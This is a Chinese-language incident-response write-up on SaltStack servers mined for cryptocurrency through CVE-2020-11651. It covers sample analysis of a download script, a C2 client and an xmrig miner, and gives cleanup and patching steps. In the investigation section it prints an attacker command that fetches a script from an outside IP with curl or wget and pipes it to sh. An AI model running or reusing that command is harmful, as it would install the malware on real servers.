描述
SaltStack
是一套C/S
架构的运维工具,服务端口默认为4505
/4506
,两个端口如果对外网开放危害非常大,黑客利用SaltStack
的远程命令执行漏洞CVE-2020-11651
可以直接绕过Salt-Master
的认证机制,调用相关函数向Salt-Minion
下发指令执行系统命令,最终导致挖矿。
现象
受害Salt-Minion
机器上存在挖矿进程salt-minions
。
tmp
目录下存在可疑二进制文件:
salt-store
salt-minions
排查
- 确定所有
salt-master
机器列表; - 查看当天
salt-master
的日志文件/var/log/salt/minion
,是否存在可疑命令执行,筛选cmdmod
:
- 找到可疑的命令执行内容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 确认
SaltStack
版本,是否存在漏洞CVE-2020-11651
。
样本分析
共三个样本:
文件名 | MD5 |
---|---|
sa.sh | 204780df7dd946401d6e545a130689fb |
salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
这是黑客原始下载执行的脚本文件,salt-store
从这里下载下载的。
该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,并且将系统syslog日志删除:
然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:
之后通过netstat
筛选服务器开启的端口和连接,将对应进程全部停止:
然后通过ps
、pkill
、pgrep
、killall
筛选进程名和参数,将其对应的进程杀掉,并且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以利用:
之后会清理/tmp
、/etc/
下其他挖矿进程的二进制文件:
该脚本还会清理docker
运行的挖矿程序:
脚本最后会从远程下载恶意二进制文件salt-store
到/tmp
或/var/tmp
下:
download2
函数中会从bitbucket
下载恶意二进制文件,如果失败会调用download3
函数从217.12.210.192
下载:
下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些HIDS服务的守护任务删掉:
salt-store
该文件是C2
客户端,从控制端接收指令执行。
运行后该程序会释放矿机文件salt-minions
到/tmp/
下:
salt-store
运行期间会和以下url
进行http
交互:
对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:
从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。
salt-minions
由salt-store
运行时释放。
该文件有明显的xmrig
特征:
所以该文件是一个xmrig
的矿机。
清理恢复
清理步骤
- 停止恶意进程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
- 删除恶意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢复
- 升级
SaltStack
到最新版本,修补CVE-2020-11651
漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com; - 设置
SaltStack
为自动更新,及时获取相应补丁; - 将
Salt Master
默认监听端口(默认4505
和4506
)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;